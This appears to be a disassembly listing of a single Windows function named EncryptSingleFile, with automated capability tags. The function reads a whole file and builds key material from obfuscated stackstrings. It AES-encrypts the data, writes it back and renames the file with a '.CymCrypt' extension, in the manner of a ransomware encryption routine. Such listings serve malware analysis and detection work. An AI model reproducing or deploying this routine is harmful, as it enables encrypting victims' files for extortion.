Function at 0x14001cab0
Capabilities:
Contain obfuscated stackstrings
Get file size
Move file
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140061028]
xor rax, rsp
mov qword [rbp + 0x1b8], rax
mov r12d, r8d
mov r15, rdx
mov rdi, rcx
mov qword [rbp + 0x190], rcx
xor r13d, r13d
mov qword [rbp + 0x188], r13
mov esi, r13d
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x198], xmm1
mov qword [rbp + 0x1a8], r13
cmp qword [rcx + 0x18], 8
jb 0x14001cb19
mov rcx, qword [rcx]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14001cb72
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x140062910]
mov r10, qword [rcx]
mov r9d, eax
lea r8d, [rbx + 3]
lea rdx, str.EncryptSingleFile:CreateFile_failed__d
call qword [r10 + 0x10]
jmp 0x14001d4dd
lea rdx, [rbp + 0x188]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x14001cbb9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r9d, esi
mov r8d, 2
lea rdx, str.EncryptSingleFile:GetFileSizeEx_failed__d
call qword [rax + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001d4dd
mov ecx, dword [rbp + 0x188]
call fcn.14002291c
mov r14, rax
mov qword [rbp + 0x180], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x1b0]
mov r8d, dword [rbp + 0x188]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14001cc25
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x140062910]
mov r10, qword [rcx]
mov r9d, eax
mov r8d, 2
lea rdx, str.EncryptSingleFile:ReadFile_failed__d
call qword [r10 + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001d4cd
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x60], 0xd56a0952
mov dword [rsp + 0x64], 0x38a53630
mov dword [rsp + 0x68], 0x9ea340bf
mov dword [rsp + 0x6c], 0xfbd7f381
mov dword [rsp + 0x70], 0x8239e37c
mov dword [rsp + 0x74], 0x87ff2f9b
mov dword [rsp + 0x78], 0x44438e34
mov dword [rsp + 0x7c], 0xcbe9dec4
mov dword [rbp - 0x80], 0x32947b54
mov dword [rbp - 0x7c], 0x3d23c2a6
mov dword [rbp - 0x78], 0xb954cee
mov dword [rbp - 0x74], 0x4ec3fa42
mov dword [rbp - 0x70], 0x66a12e08
mov dword [rbp - 0x6c], 0xb224d928
mov dword [rbp - 0x68], 0x49a25b76
mov dword [rbp - 0x64], 0x25d18b6d
mov dword [rbp - 0x60], 0x64f6f872
mov dword [rbp - 0x5c], 0x16986886
mov dword [rbp - 0x58], 0xcc5ca4d4
mov dword [rbp - 0x54], 0x92b6655d
mov dword [rbp - 0x50], 0x5048706c
mov dword [rbp - 0x4c], 0xdab9edfd
mov dword [rbp - 0x48], 0x5746155e
mov dword [rbp - 0x44], 0x849d8da7
mov dword [rbp - 0x40], 0xabd890
mov dword [rbp - 0x3c], 0xad3bc8c
mov dword [rbp - 0x38], 0x558e4f7
mov dword [rbp - 0x34], 0x645b3b8
mov dword [rbp - 0x30], 0x8f1e2cd0
mov dword [rbp - 0x2c], 0x20f3fca
mov dword [rbp - 0x28], 0x3bdafc1
mov dword [rbp - 0x24], 0x6b8a1301
mov dword [rbp - 0x20], 0x4111913a
mov dword [rbp - 0x1c], 0xeadc674f
mov dword [rbp - 0x18], 0xcecff297
mov dword [rbp - 0x14], 0x73e6b4f0
mov dword [rbp - 0x10], 0x2274ac96
mov dword [rbp - 0xc], 0x8535ade7
mov dword [rbp - 8], 0xe837f9e2
mov dword [rbp - 4], 0x6edf751c
mov dword [rbp], 0x711af147
mov dword [rbp + 4], 0x89c5291d
mov dword [rbp + 8], 0xe62b76f
mov dword [rbp + 0xc], 0x1bbe18aa
mov dword [rbp + 0x10], 0x4b3e56fc
mov dword [rbp + 0x14], 0x2079d2c6
mov dword [rbp + 0x18], 0xfec0db9a
mov dword [rbp + 0x1c], 0xf45acd78
mov dword [rbp + 0x20], 0x33a8dd1f
mov dword [rbp + 0x24], 0x31c70788
mov dword [rbp + 0x28], 0x591012b1
mov dword [rbp + 0x2c], 0x5fec8027
mov dword [rbp + 0x30], 0xa97f5160
mov dword [rbp + 0x34], 0xd4ab519
mov dword [rbp + 0x38], 0x9f7ae52d
mov dword [rbp + 0x3c], 0xef9cc993
mov dword [rbp + 0x40], 0x4d3be0a0
mov dword [rbp + 0x44], 0xb0f52aae
mov dword [rbp + 0x48], 0x3cbbebc8
mov dword [rbp + 0x4c], 0x61995383
mov dword [rbp + 0x50], 0x7e042b17
mov dword [rbp + 0x54], 0x26d677ba
mov dword [rbp + 0x58], 0x631469e1
mov dword [rbp + 0x5c], 0x7d0c2155
mov dword [rbp + 0x60], 0x7b777c63
mov dword [rbp + 0x64], 0xc56f6bf2
mov dword [rbp + 0x68], 0x2b670130
mov dword [rbp + 0x6c], 0x76abd7fe
mov dword [rbp + 0x70], 0x7dc982ca
mov dword [rbp + 0x74], 0xf04759fa
mov dword [rbp + 0x78], 0xafa2d4ad
mov dword [rbp + 0x7c], 0xc072a49c
mov dword [rbp + 0x80], 0x2693fdb7
mov dword [rbp + 0x84], 0xccf73f36
mov dword [rbp + 0x88], 0xf1e5a534
mov dword [rbp + 0x8c], 0x1531d871
mov dword [rbp + 0x90], 0xc323c704
mov dword [rbp + 0x94], 0x9a059618
mov dword [rbp + 0x98], 0xe2801207
mov dword [rbp + 0x9c], 0x75b227eb
mov dword [rbp + 0xa0], 0x1a2c8309
mov dword [rbp + 0xa4], 0xa05a6e1b
mov dword [rbp + 0xa8], 0xb3d63b52
mov dword [rbp + 0xac], 0x842fe329
mov dword [rbp + 0xb0], 0xed00d153
mov dword [rbp + 0xb4], 0x5bb1fc20
mov dword [rbp + 0xb8], 0x39becb6a
mov dword [rbp + 0xbc], 0xcf584c4a
mov dword [rbp + 0xc0], 0xfbaaefd0
mov dword [rbp + 0xc4], 0x85334d43
mov dword [rbp + 0xc8], 0x7f02f945
mov dword [rbp + 0xcc], 0xa89f3c50
mov dword [rbp + 0xd0], 0x8f40a351
mov dword [rbp + 0xd4], 0xf5389d92
mov dword [rbp + 0xd8], 0x21dab6bc
mov dword [rbp + 0xdc], 0xd2f3ff10
mov dword [rbp + 0xe0], 0xec130ccd
mov dword [rbp + 0xe4], 0x1744975f
mov dword [rbp + 0xe8], 0x3d7ea7c4
mov dword [rbp + 0xec], 0x73195d64
mov dword [rbp + 0xf0], 0xdc4f8160
mov dword [rbp + 0xf4], 0x88902a22
mov dword [rbp + 0xf8], 0x14b8ee46
mov dword [rbp + 0xfc], 0xdb0b5ede
mov dword [rbp + 0x100], 0xa3a32e0
mov dword [rbp + 0x104], 0x5c240649
mov dword [rbp + 0x108], 0x62acd3c2
mov dword [rbp + 0x10c], 0x79e49591
mov dword [rbp + 0x110], 0x6d37c8e7
mov dword [rbp + 0x114], 0xa94ed58d
mov dword [rbp + 0x118], 0xeaf4566c
mov dword [rbp + 0x11c], 0x8ae7a65
mov dword [rbp + 0x120], 0x2e2578ba
mov dword [rbp + 0x124], 0xc6b4a61c
mov dword [rbp + 0x128], 0x1f74dde8
mov dword [rbp + 0x12c], 0x8a8bbd4b
mov dword [rbp + 0x130], 0x66b53e70
mov dword [rbp + 0x134], 0xef60348
mov dword [rbp + 0x138], 0xb9573561
mov dword [rbp + 0x13c], 0x9e1dc186
mov dword [rbp + 0x140], 0x1198f8e1
mov dword [rbp + 0x144], 0x948ed969
mov dword [rbp + 0x148], 0xe9871e9b
mov dword [rbp + 0x14c], 0xdf2855ce
mov dword [rbp + 0x150], 0xd89a18c
mov dword [rbp + 0x154], 0x6842e6bf
mov dword [rbp + 0x158], 0xf2d9941
mov dword [rbp + 0x15c], 0x16bb54b0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov ecx, 0x100
call fcn.1400228d8
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea rbx, [rax + 0x100]
mov qword [rsp + 0x50], rbx
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.1400247d0
mov qword [rsp + 0x48], rbx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], r13
mov ecx, 0x100
call fcn.1400228d8
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x170], rax
lea rbx, [rax + 0x100]
mov qword [rbp + 0x178], rbx
mov r8d, 0x100
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.1400247d0
mov qword [rbp + 0x170], rbx
mov r9d, dword [rbp + 0x188]
mov rdx, r12
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x168]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x198]
mov qword [rsp + 0x20], rax
mov r8, r14
mov rcx, r15
call fcn.140010890
nop
mov rcx, qword [rbp + 0x168]
test rcx, rcx
je 0x14001d17f
mov rdx, qword [rbp + 0x178]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d168
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d565
call fcn.140022914
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], r13
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14001d1bb
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d1b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d56b
call fcn.140022914
mov r15, qword [rbp + 0x1a0]
sub r15, qword [rbp + 0x198]
test r15d, r15d
je 0x14001d4b3
mov ecx, r15d
call fcn.14002291c
mov r13, rax
mov r8, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x198]
sub r8, rdx
mov rcx, rax
call fcn.1400247d0
test r13, r13
je 0x14001d4b3
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov r12, rdi
cmp qword [rdi + 0x18], 8
jb 0x14001d220
mov r12, qword [rdi]
mov r14, qword [rdi + 0x10]
movabs rax, 0x7ffffffffffffffe
cmp r14, rax
ja 0x14001d571
mov ecx, 0xa
mov ebx, 7
mov qword [rsp + 0x58], rbx
cmp r14, 8
jae 0x14001d25d
mov qword [rsp + 0x50], r14
movups xmm0, xmmword [r12]
movups xmmword [rsp + 0x40], xmm0
jmp 0x14001d2a4
mov rsi, r14
or rsi, rbx
cmp rsi, rax
jbe 0x14001d26d
mov rsi, rax
jmp 0x14001d274
cmp rsi, rcx
cmovb rsi, rcx
lea rdx, [rsi + 1]
lea rcx, [rsp + 0x40]
call fcn.140003cd0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rsi
lea r8, [r14*2 + 2]
mov rdx, r12
mov rcx, rax
call fcn.1400247d0
mov r8d, r15d
mov rdx, r13
lea rcx, [rsp + 0x40]
call fcn.14001f030
mov esi, eax
test eax, eax
je 0x14001d2eb
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r9d, esi
mov r8d, 2
lea rdx, str.EncryptSingleFile:Write_failed__d
call qword [rax + 0x10]
mov rcx, r13
call fcn.140022914
mov r14, qword [rbp + 0x180]
jmp 0x14001d4cd
mov r12, qword [rdi + 0x10]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r12
cmp rax, 9
jb 0x14001d577
mov qword [rbp + 0x160], rdi
cmp qword [rdi + 0x18], 8
jb 0x14001d321
mov rax, qword [rdi]
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r15, [r12 + 9]
lea r14, [rsp + 0x40]
cmp r15, 7
jbe 0x14001d3d8
mov rbx, r15
or rbx, 7
cmp rbx, rcx
jbe 0x14001d365
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14001d395
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14001d583
add rcx, rcx
cmp rcx, 0x1000
jb 0x14001d3c1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001d583
mov rcx, rax
call fcn.1400228d8
test rax, rax
je 0x14001d57d
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14001d3d3
test rcx, rcx
je 0x14001d3d0
call fcn.1400228d8
mov r14, rax
jmp 0x14001d3d3
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rbx
lea rbx, [r12 + r12]
mov r8, rbx
mov rdx, qword [rbp + 0x160]
mov rcx, r14
call fcn.1400247d0
movups xmm0, xmmword [str..CymCrypt]
movups xmmword [rbx + r14], xmm0
movzx eax, word [0x14004b890]
mov word [rbx + r14 + 0x10], ax
xor eax, eax
mov word [r14 + r15*2], ax
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
mov rcx, rdi
cmp qword [rdi + 0x18], 8
jb 0x14001d436
mov rcx, qword [rdi]
call fcn.140029714
mov ebx, eax
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14001d47f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d47a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d57d
call fcn.140022914
test ebx, ebx
je 0x14001d4a2
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Could_not_rename_encrypted_version
call qword [rax + 0x10]
mov esi, 0x57
mov rcx, r13
call fcn.140022914
mov r14, qword [rbp + 0x180]
jmp 0x14001d4cd
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.EncryptSingleFile:AESEncrypt_failed
call qword [rax + 0x10]
test r14, r14
je 0x14001d4da
mov rcx, r14
call fcn.140022914
xor r13d, r13d
mov rcx, qword [rbp + 0x198]
test rcx, rcx
je 0x14001d52b
mov rdx, qword [rbp + 0x1a8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d514
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d55f
call fcn.140022914
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], r13
mov rcx, rdi
call fcn.140003b70
mov eax, esi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rsp
call fcn.140022c80
mov rbx, qword [rsp + 0x318]
add rsp, 0x2c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140029444
nop
call fcn.140029444
nop
call fcn.140029444
int3
call fcn.1400034f0
int3
call fcn.1400034f0
int3
call fcn.140029444
int3
call fcn.140003450
int3